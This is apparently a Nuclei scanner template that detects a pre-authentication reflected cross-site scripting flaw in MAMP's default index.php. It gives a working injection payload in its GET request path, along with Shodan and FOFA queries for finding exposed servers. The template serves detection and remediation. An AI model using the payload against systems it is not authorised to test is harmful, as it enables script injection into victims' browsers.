id: mamp-server-xss

info:
  name: MAMP Server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting (XSS) vulnerability exists in the default installation of MAMP server. The file `/Applications/MAMP/htdocs/index.php` is susceptible to malicious input, allowing attackers to inject JavaScript code that executes in the context of the victim's browser. This vulnerability can be exploited without prior authentication.
  impact: |
    Exploiting this vulnerability can allow attackers to execute arbitrary JavaScript in the victim's browser.
  remediation: |
    Implement input validation and output encoding to sanitize user inputs. Apply the vendor-supplied patch or upgrade MAMP to a version where the vulnerability is resolved.
  reference:
    - https://octagon.net/blog/2022/01/26/mamp-server-preauth-xss-leading-to-host-compromise-0day/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MAMP"
    fofa-query: title="MAMP"
  tags: mamp,server,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/test"%20onmouseover="alert(document.domain);"%20style="font-size:100000px;background-color:white";'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MAMP'
          - 'test" onmouseover="alert(document.domain);" style'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100809309a588f23d985f78bebcbaba6c500fe6c8cef786bac5e228aa88d7fa8740022100e7861cdaa37e47ad63162f1a9e9d81f090eb718e8bc780575b4c8c4c27a80ce9:922c64590222798bb761d5b6d8e72950